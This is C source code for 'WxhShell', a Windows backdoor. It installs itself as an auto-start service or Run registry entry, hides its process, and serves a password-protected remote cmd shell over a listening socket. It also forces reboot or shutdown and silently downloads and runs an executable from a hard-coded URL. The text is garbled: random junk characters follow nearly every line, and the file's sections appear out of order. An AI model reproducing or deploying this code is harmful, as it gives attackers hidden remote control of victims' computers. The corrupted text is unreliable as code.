    if(Boot(SHUTDOWN)) #[a+m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8`/nk `;  
    else { (!^(74  
    closesocket(wsh); o]vU(j_Ju  
    ExitThread(0); B[R1XpB7  
    } $A/$M\ :  
    break; Wi?37EHr  
    } k_c8\::p#  
  // 获取shell 2Hp#~cE+.  
  case 's': { c%+9uu3  
    CmdShell(wsh); fy`e)?46  
    closesocket(wsh); ,.ln  
    ExitThread(0); (|PxR#{l<  
    break; qq+fUfB2:  
  } 3B<$6  
  // 退出 j+c<0,Kj  
  case 'x': { h6dVT9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TCd1JF0  
    CloseIt(wsh); MOIH%lpe  
    break; Z ?{;|Z5  
    } b%fn1Ag9  
  // 离开 aiKZ$KLC  
  case 'q': { |W/_S^C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rj|8l K;,  
    closesocket(wsh); ;J[1S  
    WSACleanup(); 4oF8F)ASj  
    exit(1); 3PEv.hGx  
    break; YAIDSZ&l[  
        } U[a;e OLx  
  } GCUzKf&  
  } _:,:U[@Vz  
l(T CF  
  // 提示信息 )bqfj>%#c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'j)xryw  
} 0.~Pzg  
  } w6fVZY4  
tBp146`  
  return; ;-d }\f ,  
} lglC1W-q  
<.0-K_  
// shell模块句柄 %s;#epP$  
int CmdShell(SOCKET sock) XM$HHk}L;  
{ Q`qHzb~%  
STARTUPINFO si; O6^>L0'  
ZeroMemory(&si,sizeof(si)); l!plw,PYC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &sp7YkaW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P8Bv3  
PROCESS_INFORMATION ProcessInfo; pr8eRV!x  
char cmdline[]="cmd"; dooS|Mq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ocq.<#||H  
  return 0; _(}{=:M?  
} 99@uU[&IJ  
^1vh5D  
// 自身启动模式 1@ )8E`u  
int StartFromService(void) M%dXy^e  
{ JRkC~fv  
typedef struct b<de)MG  
{ ?q(7avS9  
  DWORD ExitStatus; Uj)~>V'  
  DWORD PebBaseAddress; ,c@^u6a  
  DWORD AffinityMask; *v[WJ"8@  
  DWORD BasePriority; gv}Esps R  
  ULONG UniqueProcessId; z O  
  ULONG InheritedFromUniqueProcessId; 8I)66  
}   PROCESS_BASIC_INFORMATION; c|lo%[]R!  
; /fZh:V2  
PROCNTQSIP NtQueryInformationProcess; GNzk Vy:u  
Fg)Iw<7_2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M1^?_;B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 92F (Sl  
WHQg6r  
  HANDLE             hProcess; ,~-"EQT  
  PROCESS_BASIC_INFORMATION pbi; 8F(lW)An  
,BCtNt(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F$UvYy4O d  
  if(NULL == hInst ) return 0; ,YYyFMC7S  
XO+^q9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l+'@y (}Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K14e"w%6rs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .(OFYK<  
ZR<T\w  
  if (!NtQueryInformationProcess) return 0; QCFLi n+r  
2r2qZ#I}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 05mjV6j7m  
  if(!hProcess) return 0; %O`e!p  
#Jv|zf5Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6fhH)]0  
0Zp) DM  
  CloseHandle(hProcess); Amf gc>eJ  
F_o5(`>^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^uIP   
if(hProcess==NULL) return 0; [R[]&\W  
-t_t3aU|  
HMODULE hMod; bT<if@h-  
char procName[255]; n}MW# :eJe  
unsigned long cbNeeded; Yy6Mkw7X  
)-q#hY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dd#=_xe  
>M{=qs  
  CloseHandle(hProcess); Bb2;zOGdA  
XBE+O7  
if(strstr(procName,"services")) return 1; // 以服务启动 A*jU&3#  
M=$ qus  
  return 0; // 注册表启动 zdFO&YHTw  
} V9*Z  
VMPBM:k G  
// 主模块 ?IR]y-r  
int StartWxhshell(LPSTR lpCmdLine) ,U+y)w]ar  
{ @:\Iw"P  
  SOCKET wsl; U|QLc   
BOOL val=TRUE; 4.:2!Q  
  int port=0; a>x3UVf_  
  struct sockaddr_in door; F+mn d,3  
hI.@!$~=  
  if(wscfg.ws_autoins) Install(); kLa9'c0  
n,hl6[OL7  
port=atoi(lpCmdLine); N t]YhO  
8yEN)RqI  
if(port<=0) port=wscfg.ws_port; 64Gd^.Z  
4RCD<7  
  WSADATA data; SJb+:L>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (- `h8M  
h/E+r:2]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    J jRz<T;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ME"B1 Se\  
  door.sin_family = AF_INET; @v^;,cu'8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -`nQa$N-  
  door.sin_port = htons(port);  xE.K  
NUBf>~_}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -j1?l Y  
closesocket(wsl); Vmq:As^a  
return 1; l"70|~  
} E9e|+$  
'4-J0S<<_  
  if(listen(wsl,2) == INVALID_SOCKET) { `|maf=SnY5  
closesocket(wsl); {;uOc{~+  
return 1; 5}S~8  
} XpWcf ([  
  Wxhshell(wsl); >yk@t&j,  
  WSACleanup(); w<=?%+n  
`@%hz%8Y  
return 0; "Sm'TZx  
xN lxi  
} {nvF>  
ctI=|K  
// 以NT服务方式启动 \*x'7c/qg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rCt8Q&mzf  
{ E,u/^V9x  
DWORD   status = 0; H_w&_h&  
  DWORD   specificError = 0xfffffff; /-%0y2"7  
D d['e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $gZC"~BR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qiEw[3Za]'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I'6 wh+  
  serviceStatus.dwWin32ExitCode     = 0; Z:>)5Z{'  
  serviceStatus.dwServiceSpecificExitCode = 0; |^l17veA@  
  serviceStatus.dwCheckPoint       = 0; n hT%_se4  
  serviceStatus.dwWaitHint       = 0; mhh^kwW  
P/%5J3_,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ca )n*SD  
  if (hServiceStatusHandle==0) return; -rg >y!L  
2F5*C  
status = GetLastError(); %?<Y&t  
  if (status!=NO_ERROR) D,R"P }G  
{ p;#@#>h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \ @XvEx%  
    serviceStatus.dwCheckPoint       = 0; B^|^hZZ>  
    serviceStatus.dwWaitHint       = 0; vndD#/lXq  
    serviceStatus.dwWin32ExitCode     = status; K qK?w*Qw  
    serviceStatus.dwServiceSpecificExitCode = specificError; ckDWY<@v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t`F<lOKj  
    return; >|j8j:S[  
  } i|N%dl+T=  
:$k] ;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l!S}gbM  
  serviceStatus.dwCheckPoint       = 0; |q+3X)Y  
  serviceStatus.dwWaitHint       = 0; hIBW$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8d|/^U.w~V  
} 4~8!3JH39  
Dk ^,iY(u  
// 处理NT服务事件,比如:启动、停止 su2|x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E4}MU}C#[  
{ 2!@ER i  
switch(fdwControl) hYvWD.c}  
{ ]lQLA IQ  
case SERVICE_CONTROL_STOP: A^L8"  
  serviceStatus.dwWin32ExitCode = 0; py-5 :g}d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n1Ic[cM}  
  serviceStatus.dwCheckPoint   = 0; #_(t46  
  serviceStatus.dwWaitHint     = 0; @%"+;D  
  { !+R_Z#gB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r<)>k.] !  
  } d ,"L8  
  return; (~k{aO  
case SERVICE_CONTROL_PAUSE: P3e}G-Oz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {OIktG2gZ  
  break; +HAd=DU  
case SERVICE_CONTROL_CONTINUE: bM@8[&t a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %DQ!#Nl*  
  break; }c]u'a!4  
case SERVICE_CONTROL_INTERROGATE: Xi  8rD"v  
  break; zn+5pn&?  
}; w *Txc}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6}/m~m  
} ]y kMh  
W)LtnD2 w  
// 标准应用程序主函数 d,V]j-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o[Gp*o\  
{ Au"7w=G`f  
7g%.:H =  
// 获取操作系统版本 ^2f2g>9j_C  
OsIsNt=GetOsVer(); -dO9y=?t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B[IqLD'6  
Z*Lv!6WS  
  // 从命令行安装 b0:5i<"w6  
  if(strpbrk(lpCmdLine,"iI")) Install(); QnMN8Q9  
^Mc zumG[  
  // 下载执行文件 2EAY`}Rl6.  
if(wscfg.ws_downexe) { K0 6 E:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BpR#3CfW  
  WinExec(wscfg.ws_filenam,SW_HIDE); )4O* D92  
} <#ZDA/G(  
A5q%yt I  
if(!OsIsNt) { C< B1zgX  
// 如果时win9x,隐藏进程并且设置为注册表启动 |M$ESj4@  
HideProc(); w+Oo-AGNH  
StartWxhshell(lpCmdLine); {8im{]8_  
} J_@`:l0,z  
else N*{>8iFo4  
  if(StartFromService()) R64/m9  
  // 以服务方式启动 7nl  
  StartServiceCtrlDispatcher(DispatchTable); ;=i$0w9W  
else z$]HZ#aRE  
  // 普通方式启动 p6*|)}T_%  
  StartWxhshell(lpCmdLine); Kc#42 C;t/  
IzWS6!zKU  
return 0; oc0z1u  
} LVAnZ'h/|  
iJ%`ym4Y  
hcrx(oJ5  
w=}R'O;k  
=========================================== PvkHlb^x%  
4+2hj*I  
G ]JWd  
IA(+}V  
A1kqWhg\  
nep-?7x  
" R) 'AI[la  
;FH_qF`.  
#include <stdio.h> i9B1/?^W&  
#include <string.h> ;sZHE &+  
#include <windows.h> mEVne.D  
#include <winsock2.h> Q"D%xY  
#include <winsvc.h> M].D27  
#include <urlmon.h> ?]Z EK8c  
?cmv;KV   
#pragma comment (lib, "Ws2_32.lib") F qH@i Z  
#pragma comment (lib, "urlmon.lib") zrazFI0G  
Z:kX9vw.  
#define MAX_USER   100 // 最大客户端连接数 se^(1R k  
#define BUF_SOCK   200 // sock buffer *p>1s!i  
#define KEY_BUFF   255 // 输入 buffer vkg."G:=  
L\/YS;Y  
#define REBOOT     0   // 重启 = k|hH~  
#define SHUTDOWN   1   // 关机 y|O)i I/g  
P;~P:qKd  
#define DEF_PORT   5000 // 监听端口 Ag@R60#  
d\ {a&\v  
#define REG_LEN     16   // 注册表键长度 N^U<;O?YDW  
#define SVC_LEN     80   // NT服务名长度 $P7G,0-  
H>Ws)aCq  
// 从dll定义API lk. ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }rbsarG@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [R9!Tz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EC0M0qQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u4,b%h.  
@"$rR+r'  
// wxhshell配置信息 Ymr\8CG/  
struct WSCFG { >x 6$F*:W}  
  int ws_port;         // 监听端口 J6m(\o  
  char ws_passstr[REG_LEN]; // 口令 )9mUE*[  
  int ws_autoins;       // 安装标记, 1=yes 0=no %. -nZC  
  char ws_regname[REG_LEN]; // 注册表键名 R`F8J}X_  
  char ws_svcname[REG_LEN]; // 服务名 .|Bmg6g*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [ Cu3D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A Q e~F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ja|XFs~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /@~&zx&_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y+D"LeCAad  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3V2w1CERE  
j"Vb8}  
}; e)x;3r"j  
jpW(w($XL  
// default Wxhshell configuration #&jr9RB  
struct WSCFG wscfg={DEF_PORT, 9'S~zG%{  
    "xuhuanlingzhe", Uk0]A  
    1, dtT2h>h9  
    "Wxhshell", x[i Et%_  
    "Wxhshell", sJ(q.FRM'  
            "WxhShell Service", T.j&UEsd  
    "Wrsky Windows CmdShell Service", g0~3;y  
    "Please Input Your Password: ", }^/;8cfLY  
  1, 6"UL+$k  
  "http://www.wrsky.com/wxhshell.exe", dS[="Set  
  "Wxhshell.exe" xw%'R-  
    }; %hqhi@q#  
GOeYw[Vh  
// 消息定义模块 U~Ai'1?xz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $={WtR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [va7+=[1=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t<Z)D0.  
char *msg_ws_ext="\n\rExit."; \p&a c&]  
char *msg_ws_end="\n\rQuit."; }:5>1FfX=  
char *msg_ws_boot="\n\rReboot..."; ;*8nd-\  
char *msg_ws_poff="\n\rShutdown..."; !Ho=(6V  
char *msg_ws_down="\n\rSave to "; D;l)&"|r?  
LN?b6s75U  
char *msg_ws_err="\n\rErr!"; 0Q_@2  
char *msg_ws_ok="\n\rOK!"; al3[Ph5G  
nPj/C7j  
char ExeFile[MAX_PATH]; LpJ_HU7@lk  
int nUser = 0; /`Wd+  
HANDLE handles[MAX_USER]; Hx]{'?   
int OsIsNt; G$buZspL'd  
389puDjy  
SERVICE_STATUS       serviceStatus; `*1059   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =>7\s}QZ  
bC mhlSNi  
// 函数声明 \I4*|6kA  
int Install(void); ;_^ "}  
int Uninstall(void); &xwAE*}  
int DownloadFile(char *sURL, SOCKET wsh); =k(~PB^>  
int Boot(int flag); W2a9P_  
void HideProc(void); q;kN+NK64  
int GetOsVer(void); [-bT_X  
int Wxhshell(SOCKET wsl); vKX $Nf  
void TalkWithClient(void *cs); wPl!}HNf  
int CmdShell(SOCKET sock); o5N];Nj  
int StartFromService(void); rl,6r u  
int StartWxhshell(LPSTR lpCmdLine);  :_qgpE<  
>Tm|}\qEb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zJfoU*G/B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TZ7{cekQ  
 t : =  
// 数据结构和表定义 "lp),  
SERVICE_TABLE_ENTRY DispatchTable[] = srN>pO8u~  
{ #6tb{ws3  
{wscfg.ws_svcname, NTServiceMain}, ly d[GfJ  
{NULL, NULL} ;5P>R[p  
}; tN5brf  
Rp2~d  
// 自我安装 FJN,er~T[  
int Install(void) !0g+}  
{ kd9GHN;7  
  char svExeFile[MAX_PATH]; Ge|& H]W  
  HKEY key; cs?@Ri=g  
  strcpy(svExeFile,ExeFile); !8|]R  
up~l4]b+  
// 如果是win9x系统,修改注册表设为自启动 X`ifjZ9}d  
if(!OsIsNt) { t:X[Blw3$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GLe(?\Ug=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *mM+(]8US  
  RegCloseKey(key); bT@7&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V;Zp3Qo!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fNi&1J-/  
  RegCloseKey(key); Hy<4q^3$G  
  return 0; ] =jnt  
    } 3:rH1vG.m  
  } j/bebR}X  
} sBuVm<H  
else { g#V3u=I8~  
W?"Z>tgp  
// 如果是NT以上系统,安装为系统服务 xw5E!]~D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v UAYYe  
if (schSCManager!=0) 4 []R?lL  
{ U4_ <  
  SC_HANDLE schService = CreateService *HmL8c  
  ( .~ a)  
  schSCManager, P'D~Y#^  
  wscfg.ws_svcname, Y"mD)\Bw?  
  wscfg.ws_svcdisp, ,>%AEN6N2  
  SERVICE_ALL_ACCESS, 3:a}<^DuCS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ]D7z&h  
  SERVICE_AUTO_START, N1I1!!$K;%  
  SERVICE_ERROR_NORMAL, v&U'%1|  
  svExeFile, }Kq5!XJV9C  
  NULL, eb:mp/  
  NULL, :y'D] ,_  
  NULL, _tQ=ASe0  
  NULL, /n7F]Ok'*  
  NULL c7IgndVAV  
  ); (J): >\a]  
  if (schService!=0) BNg\;2r  
  { }0uSm%,"  
  CloseServiceHandle(schService); Y}"|J ~  
  CloseServiceHandle(schSCManager); R,A|"Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?x@BZe  
  strcat(svExeFile,wscfg.ws_svcname); .9 WUp>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |rf\]3 F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gtz!T2%  
  RegCloseKey(key); hX=+%^c%_A  
  return 0; qJW>Y}  
    } DRi!WWivn  
  } )F<<M+q=  
  CloseServiceHandle(schSCManager); g?(Z+w4A 3  
} 5JI+42S \  
} BoP%f '0N  
`NV =2T  
return 1; <P( K,L?r  
} LaJc;Jt$  
G`w,$:,  
// 自我卸载 -nO('(t  
int Uninstall(void) KbH#g>.oB  
{ <l5{!g  
  HKEY key; &P!^k0NJR  
]xf{.z  
if(!OsIsNt) { oCSf$g8q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bw"L!sZ  
  RegDeleteValue(key,wscfg.ws_regname); !cnH|ePbI  
  RegCloseKey(key); f9JD_hhP'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s.KJYP  
  RegDeleteValue(key,wscfg.ws_regname); ]&VD$Z984r  
  RegCloseKey(key); U%_a@&<  
  return 0; RgQ\Cs24Q  
  } Yq/|zTe{  
} QE!cf@~n"  
} |82V` CV  
else { >Q+a'bd w  
,D3q8?j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "S[VtuxPCU  
if (schSCManager!=0) "SyyOD )WA  
{ nH% /  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y~1UU3k5  
  if (schService!=0) Ft`#]=IS  
  { pWps-e  
  if(DeleteService(schService)!=0) { e7/J:n$  
  CloseServiceHandle(schService); GG;M/}E9  
  CloseServiceHandle(schSCManager); .6$ST Ksr  
  return 0; u|8`=  
  } pa+^5N  
  CloseServiceHandle(schService); h+.^8fPR   
  } V85a{OBm,8  
  CloseServiceHandle(schSCManager); KfWVz*DC!  
} |fTQ\q]W  
} r9s1\7]x  
V}9wx%v  
return 1; &J"a`l2  
} %)l2dK&9"j  
N ~M:+ \  
// 从指定url下载文件 &.7\{q\(  
int DownloadFile(char *sURL, SOCKET wsh) -mX _I{BJ  
{ )l30~5u<J  
  HRESULT hr; f*5=,$0  
char seps[]= "/"; uVu`TgbZ  
char *token; ]pb;q(?^  
char *file; <`| }bt  
char myURL[MAX_PATH]; ZQl[h7c/N  
char myFILE[MAX_PATH]; K]kL?-A#'  
W .Hv2r3  
strcpy(myURL,sURL); l*'jqR')h^  
  token=strtok(myURL,seps); `?=AgGg  
  while(token!=NULL) qg.[M*  
  { "!Mu5Ga  
    file=token; uaJ5'*  
  token=strtok(NULL,seps); A7|"0*62  
  } 5/P?@`/ eT  
Y60ld7H  
GetCurrentDirectory(MAX_PATH,myFILE); 4G_dnf_  
strcat(myFILE, "\\"); 92 Pp.Rh  
strcat(myFILE, file); "5dh]-m n  
  send(wsh,myFILE,strlen(myFILE),0); %iD>^Dp  
send(wsh,"...",3,0); *A,=Y/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [(btpWxb^  
  if(hr==S_OK) kmov(V  
return 0; G0]q(.sOy  
else 8% 1hfj  
return 1; ~~5kAY-  
~ xf9 ml  
} gdCU1D\  
{_[l,tdZ  
// 系统电源模块 &,$A7:  
int Boot(int flag) g s'bv#4yd  
{ @4$F%[g h  
  HANDLE hToken; G =< KAJ  
  TOKEN_PRIVILEGES tkp; SC|cCK hqi  
M9f*7{c  
  if(OsIsNt) { u%}vTCg*p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )[nzmL*w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f+I*aBQ  
    tkp.PrivilegeCount = 1; X:62 )^~'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } doj4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tm3$|+}$f  
if(flag==REBOOT) { y[r T5ed  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9=< Z>  
  return 0; z9dVT'  
} E>'pMw  
else { NoYu"57\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zo\Xu oZ  
  return 0; ?LNwr[C0  
} lc5NC;JR  
  } aL=VNZ!Pqc  
  else { &G<ZK9Ot}0  
if(flag==REBOOT) { jsez$m%vs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l0Pg`wH,  
  return 0; u:,B"!  
} 0|GxOzNd  
else { uN`ACc)ESi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *VRFs=  
  return 0; X^xu$d6   
} 4El{2cfA  
} Q?1 KxD!  
O]2h=M@q.  
return 1; **s:H'Mw_  
} ^?J:eB!  
1km=9[;w'  
// win9x进程隐藏模块 %0u7pk  
void HideProc(void) h/_z QR-  
{ !J2Lp  
slQKkx \Dn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kw?,A   
  if ( hKernel != NULL ) W%h<@@c4,  
  { /+IR^WG#C}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n$=n:$`q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BC4u,4S  
    FreeLibrary(hKernel); a[#4Oq/t$  
  } f%@Y XGf  
t"BpaA^gO  
return; ekAGzu  
} RNt3az  
"+XO[WGc  
// 获取操作系统版本 +ubO-A?  
int GetOsVer(void) 9f"6Jw@F  
{ j:sac*6m  
  OSVERSIONINFO winfo; nK96A.B%p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3IJIeG>  
  GetVersionEx(&winfo); uP* >-s'm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "?S#vUS+ 2  
  return 1; qrOTb9&y  
  else {'}Ofj   
  return 0; O:Z|fDQ`  
} >2C;5ba  
<N`rcKE%~P  
// 客户端句柄模块 bpU^|r^W  
int Wxhshell(SOCKET wsl) JTs.NY <z  
{ fi,=z  
  SOCKET wsh; 94lmsE  
  struct sockaddr_in client; L$ ON=$q5  
  DWORD myID; Nv ew^c)x  
6U""TR!   
  while(nUser<MAX_USER) qBwqxxTc  
{ \+>b W(  
  int nSize=sizeof(client); T[;{AXLeI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $==hr^H  
  if(wsh==INVALID_SOCKET) return 1; QR8F'7S  
d5],O48A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .g|pgFM?  
if(handles[nUser]==0) om/gk4S2  
  closesocket(wsh); $8eq&_gJ  
else [Q$"+@jw  
  nUser++; -pjL7/gx  
  } tx.YW9xD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ER|5_  
*yX_dgC>[  
  return 0; ?=T&|pp  
} j1d=$'a "  
,~kMkBkl~  
// 关闭 socket  43VuH  
void CloseIt(SOCKET wsh) lq9c2xK  
{ (>Yii_Cd  
closesocket(wsh); B}!n6j`  
nUser--; 97&6iTYA  
ExitThread(0); |LjCtm)@+  
} <T&$1m{  
--/  .  
// 客户端请求句柄 >l7 o/*4  
void TalkWithClient(void *cs) cCj3,s/p  
{ 4u&l@BUr  
x*)Wl!  
  SOCKET wsh=(SOCKET)cs; lW2qVR  
  char pwd[SVC_LEN]; odhgIl&u  
  char cmd[KEY_BUFF]; sy#Gb#=#  
char chr[1]; yqYX<<!V  
int i,j; :@3d  
"vJADQ4F  
  while (nUser < MAX_USER) { Nyo6R9^  
vLC&C-f  
if(wscfg.ws_passstr) { zzx4;C",u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [NFAdE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~/.&Z`ls  
  //ZeroMemory(pwd,KEY_BUFF); 0FW=8hFp,  
      i=0; JBg>E3*N  
  while(i<SVC_LEN) { [[|;Wr} 2  
=o-qu^T^u  
  // 设置超时 C1nQZtF R  
  fd_set FdRead; ew0 )  
  struct timeval TimeOut; U?rfE(!  
  FD_ZERO(&FdRead); #&/*ll)  
  FD_SET(wsh,&FdRead); -^Lj~O  
  TimeOut.tv_sec=8; :kUH>O  
  TimeOut.tv_usec=0; VEn%_9(]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q)vD "{0.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IaJ(T>" +  
un/R7 "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~cez+VQe  
  pwd=chr[0]; .Q#Eb %%  
  if(chr[0]==0xd || chr[0]==0xa) { Q2 edS|  
  pwd=0; -y AIrvO1q  
  break; N; hq  
  } @s[bRp`gd  
  i++; XR&*g1  
    } `2Z=Lp  
/bb4nM_E/  
  // 如果是非法用户,关闭 socket {.2C>p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yQW\0&a$  
} `=>Bop)  
S%4hv*_c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n/6A@C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (=\P|iv  
C6Mb(&  
while(1) { mPu5%%  
 z/ i3  
  ZeroMemory(cmd,KEY_BUFF); ,=ICSS~9l  
Vz#cb5:g  
      // 自动支持客户端 telnet标准   ;F:(5GBi  
  j=0; y>o#Hq&qM  
  while(j<KEY_BUFF) { *oPSkEA{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }I;W  
  cmd[j]=chr[0]; ewLr+8  
  if(chr[0]==0xa || chr[0]==0xd) { V?gQ`( ,  
  cmd[j]=0; [ wROIvV  
  break; $M8'm1R9  
  } B}jZ~/D}  
  j++; H;CGLis  
    } m1<B6*iG"  
);6zV_^!  
  // 下载文件 h>n;A>k@N  
  if(strstr(cmd,"http://")) { }Yt0VtLt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v3/cNd3  
  if(DownloadFile(cmd,wsh)) QO k%Q$^G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;@yOm=  
  else RDZq(rKc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x?%vqg^r  
  } /yOd]N;$  
  else { pUPb+:^R  
<ya3|ycnS  
    switch(cmd[0]) { *7R3EUUk  
  5p>a]gp  
